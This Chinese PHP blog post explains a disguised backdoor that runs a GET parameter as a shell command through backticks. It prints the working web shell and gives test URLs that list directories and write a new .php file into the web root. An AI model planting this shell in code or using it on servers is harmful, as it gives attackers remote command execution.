一个不易被发现的PHP后门代码解析

yipeiwu_com5年前PHP代码库

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

php中防止恶意刷新页面的代码小结

防止恶意刷页面的原理是 要求在页面间传递一个验证字符串, 在生成页面的时候 随机产生一个字符串, 做为一个必须参数在所有连接中传递。同时将这个字符串保存在session中。 点连接或者表...

php面向对象中static静态属性和静态方法的调用

本文实例讲述了php中static静态属性和静态方法的调用。分享给大家供大家参考。具体如下: 这里分析了php面向对象中static静态属性和静态方法的调用。关于它们的调用(能不能调用,...

PHP 自定义可控的字符串加密解密方法函数

以下这个是我在项目中常用的字符串加密解密函数,供大家参考有个好处是每次调用加密后的数据都是不一样的但都能解密回原来的数据。/**  * @param $string&n...

php自动注册登录验证机制实现代码

php自动注册登录验证机制实现代码

背景: 在phpwind站点后台添加一个名为“广告管家”(广告管家为CNZZ的一款广告投放的应用)的应用,整个“广告管家”的应用是通过iframe载入,载入的具体内容根据不同站点显示针对...

php判断类是否存在函数class_exists用法分析

本文实例分析了php判断类是否存在函数class_exists用法。分享给大家供大家参考。具体如下: 如果我们要判断一个类是不是可以用,可以先使用class_exists函数来判断一下,...